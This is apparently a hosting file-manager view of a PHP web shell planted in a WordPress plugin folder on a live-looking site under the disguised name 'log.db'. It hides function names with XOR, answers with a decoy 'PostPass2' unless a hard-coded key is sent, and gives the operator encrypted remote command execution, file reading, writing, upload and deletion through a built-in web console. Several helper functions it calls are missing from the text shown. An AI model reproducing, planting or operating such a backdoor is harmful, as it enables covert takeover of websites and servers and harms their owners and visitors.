文件操作 - log.db

文件: /var/www/ltlcompare.com/wp-content/plugins/eoipmwn/log.db

编辑文件内容

<?php
error_reporting(0);set_time_limit(0);
define('XKEY','Xk9Lm2NqP5');

$_fk="K9x";$F=[];
$_fe=["\x38\x51\x1d\x27\x55\x27\x2e\x41\x1d\x28","\x2d\x50\x14\x2e\x66\x1f\x2e\x4d\x27\x28\x56\x16\x3f\x5c\x16\x3f\x4a","\x2d\x50\x14\x2e\x66\x08\x3e\x4d\x27\x28\x56\x16\x3f\x5c\x16\x3f\x4a","\x29\x58\x0b\x2e\x0f\x4c\x14\x5c\x16\x28\x56\x1c\x2e","\x29\x58\x0b\x2e\x0f\x4c\x14\x5d\x1d\x28\x56\x1c\x2e","\x38\x5a\x19\x25\x5d\x11\x39","\x3e\x57\x14\x22\x57\x13","\x26\x52\x1c\x22\x4b","\x26\x56\x0e\x2e\x66\x0d\x3b\x55\x17\x2a\x5d\x1d\x2f\x66\x1e\x22\x55\x1d","\x22\x4a\x27\x2f\x50\x0a","\x2d\x50\x14\x2e\x4a\x11\x31\x5c","\x2d\x50\x14\x2e\x49\x1d\x39\x54\x0b","\x2d\x50\x14\x2e\x66\x1d\x33\x50\x0b\x3f\x4a","\x21\x4a\x17\x25\x66\x1d\x25\x5a\x17\x2f\x5c","\x3b\x4b\x1d\x2c\x66\x15\x2a\x4d\x1b\x23"];
foreach($_fe as $_v){$_o='';for($i=0;$i<strlen($_v);$i++)$_o.=chr(ord($_v[$i])^ord($_fk[$i%3]));$F[]=$_o;}

// ===== FAKE POSTPASS2 =====
if(!isset($_GET['root'])||$_GET['root']!=='admin888'){die('PostPass2');}

// ===== REAL SHELL (root=admin888) =====

// ===== API (XOR-encrypted) =====
if(isset($_REQUEST['_a'])){
    $_a=$_REQUEST['_a'];$_p=isset($_REQUEST['_p'])?$_REQUEST['_p']:'';$_r=[];
    switch($_a){
        case 'ls':
            $_i=@$F[5]($_p);
            if($_i)foreach($_i as $_f){
                if($_f=='.'||$_f=='..')continue;
                $_fp=$_p.'/'.$_f;
                $_r[]=['n'=>$_f,'t'=>$F[9]($_fp)?'d':'f','s'=>@$F[10]($_fp),'m'=>substr(sprintf('%o',@$F[11]($_fp)),-4)];
            }
            break;
        case 'rd':
            $_r['d']=_x64(@$F[1]($_p));
            break;
        case 'sv':
            $_r['o']=@$F[2]($_p,_dec($_REQUEST['d']))!==false?'ok':'fail';
            break;
        case 'dl':
            $_r['o']=@$F[6]($_p)?'ok':'fail';
            break;
        case 'mk':
            $_r['o']=@$F[7]($_p,0777,true)?'ok':'fail';
            break;
        case 'up':
            if(!empty($_FILES['f']['tmp_name'])){
                $dest=rtrim($_p,'/').'/'.$_FILES['f']['name'];
                $_r['o']=@$F[8]($_FILES['f']['tmp_name'],$dest)?'ok':'fail';
            }
            elseif(!empty($_REQUEST['d'])){
                $_r['o']=@$F[2]($_p,_dec($_REQUEST['d']))!==false?'ok':'fail';
            }
            elseif(!empty($_REQUEST['raw'])){
                $_r['o']=@$F[2]($_p,$_REQUEST['raw'])!==false?'ok':'fail';
            }
            else{$_r['o']='no_data';}
            break;
        case 'sh':
            $_r['o']=_x64(@$F[0](isset($_REQUEST['c'])?$_REQUEST['c']:'id'));
            break;
    }
    header('Content-Type:text/plain');
    die(_enc($F[13]($_r)));
}

// ===== WEB UI =====
?><!DOCTYPE html><html><head><meta charset="UTF-8"><title>.</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0a0a10;color:#aab;font:13px/1.5 'Courier New',monospace;padding:8px}
.top{display:flex;align-items:center;gap:8px;margin-bottom:8px;flex-wrap:wrap}
.btn{padding:5px 10px;background:#111;color:#5af;border:1px solid #5af;border-radius:3px;cursor:pointer;font:inherit;font-size:11px}
.btn:hover{background:#5af;color:#000}
.btn-g{color:#0f0;border-color:#0f0}.btn-g:hover{background:#0f0;color:#000}
.btn-r{color:#f44;border-color:#f44}.btn-r:hover{background:#f44;color:#000}
.btn-y{color:#fa0;border-color:#fa0}.btn-y:hover{background:#fa0;color:#000}
#path{flex:1;min-width:200px;padding:5px 8px;background:#111;border:1px solid #2a2a3a;color:#5af;font:inherit;font-size:11px;border-radius:3px}
.row{display:flex;align-items:center;padding:4px 8px;border-bottom:1px solid#151520;cursor:pointer;gap:6px}
.row:hover{background:#151520}.row .nm{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.row .sz{color:#667;width:70px;text-align:right;font-size:10px}
.row .pm{color:#445;width:40px;text-align:right;font-size:9px}
.row .act{color:#f44;cursor:pointer;font-weight:bold;margin-left:4px;font-size:11px}
.dir{color:#fa0}.file{color:#0f0}
#ed{width:100%;height:380px;background:#050510;color:#aab;border:1px solid#1a1a30;padding:8px;font:inherit;display:none;resize:vertical;tab-size:4}
#eb{display:none;margin-top:6px}
#upfile{display:none}
#shbox{display:none;margin-top:6px}
#shout{width:100%;height:200px;background:#050510;color:#0f0;border:1px solid#1a1a30;padding:8px;font:inherit;font-size:11px;white-space:pre-wrap;overflow:auto}
</style></head><body>
<div class="top">
<span id="cwd" style="color:#5af;font-size:11px"></span>
<button class="btn" onclick="nv('..')">UP</button>
<button class="btn btn-g" onclick="document.getElementById('upfile').click()">UPLOAD</button>
<input type="file" id="upfile" onchange="_upf(this)" style="display:none">
<button class="btn btn-y" onclick="_tsh()">SHELL</button>
<button class="btn btn-r" onclick="_t64()">B64</button>
<input id="path" placeholder="path" onkeydown="if(event.key==='Enter')_ld(this.value)">
</div>
<div id="lst"></div>
<div id="eb">
<textarea id="ed"></textarea><br>
<button class="btn btn-g" onclick="_sv()">SAVE</button>
<button class="btn" onclick="_cl()">CLOSE</button>
</div>
<div id="shbox">
<div style="display:flex;gap:6px;margin-bottom:6px">
<input id="scmd" style="flex:1;padding:5px 8px;background:#111;border:1px solid#2a2a3a;color:#fa0;font:inherit;font-size:12px;border-radius:3px" placeholder="cmd" onkeydown="if(event.key==='Enter')_sh()">
<button class="btn btn-y" onclick="_sh()">EXEC</button>
<button class="btn" onclick="document.getElementById('shbox').style.display='none';document.getElementById('lst').style.display='block'">X</button>
</div>
<pre id="shout"></pre>
</div>
<div id="b64box" style="display:none;margin-top:8px">
<div style="color:#fa0;font-size:11px;margin-bottom:4px">Base64 Upload</div>
<div style="display:flex;gap:6px;margin-bottom:6px">
<input id="b64name" style="flex:1;padding:5px 8px;background:#111;border:1px solid#2a2a3a;color:#0f0;font:inherit;font-size:11px;border-radius:3px" placeholder="filename">
<button class="btn btn-g" onclick="_ub64()">UPLOAD</button>
<button class="btn" onclick="document.getElementById('b64box').style.display='none'">X</button>
</div>
<textarea id="b64data" style="width:100%;height:120px;background:#050510;color:#0f0;border:1px solid#1a1a30;padding:8px;font:inherit;font-size:11px;resize:vertical" placeholder="Paste B64 file content here"></textarea>
</div>
<script>
var XKEY='Xk9Lm2NqP5';
function _xor(s,k){var o='';for(var i=0;i<s.length;i++)o+=String.fromCharCode(s.charCodeAt(i)^k.charCodeAt(i%k.length));return o;}
function _enc(d){return btoa(_xor(d,XKEY));}
function _dec(d){try{return _xor(atob(d),XKEY)}catch(e){return d;}}
var _cur='<?=addslashes(getcwd())?>',_af='';

async function _api(o){
    var fd=new FormData();
    for(var k in o)fd.append(k,o[k]);
    var r=await fetch('?root=admin888',{method:'POST',body:fd});
    var t=await r.text();
    return JSON.parse(_dec(t));
}

function _cl(){
    document.getElementById('ed').style.display='none';
    document.getElementById('eb').style.display='none';
    document.getElementById('lst').style.display='block';
    document.getElementById('shbox').style.display='none';
    document.getElementById('b64box').style.display='none';
}

function _sv(){
    var c=document.getElementById('ed').value;
    _api({_a:'sv',_p:_af,d:_enc(c)}).then(function(r){alert(r.o)});
}

function _dl(p){
    if(confirm('Delete '+p+'?'))_api({_a:'dl',_p:p}).then(function(r){_ld(_cur)});
}

function nv(d){
    var s='/',p=_cur.split(s).filter(Boolean);
    if(d=='..')p.pop();else if(d!='/')p.push(d);
    _ld((_cur.charAt(0)=='/'?'/':'')+p.join('/')||'/');
}

function _t64(){
    document.getElementById('lst').style.display='none';
    document.getElementById('eb').style.display='none';
    document.getElementById('shbox').style.display='none';
    document.getElementById('b64box').style.display='block';
}

function _tsh(){
    document.getElementById('lst').style.display='none';
    document.getElementById('eb').style.display='none';
    document.getElementById('b64box').style.display='none';
    document.getElementById('shbox').style.display='block';
    document.getElementById('scmd').focus();
}

function _sh(){
    var c=document.getElementById('scmd').value;
    _api({_a:'sh',c:c}).then(function(r){
        document.getElementById('shout').textContent=atob(r.o||'');
    });
}

_ld(_cur);
</script></body></html>

文件操作 - log.db

文件: /var/www/ltlcompare.com/wp-content/plugins/eoipmwn/log.db

编辑文件内容

修改文件时间

删除文件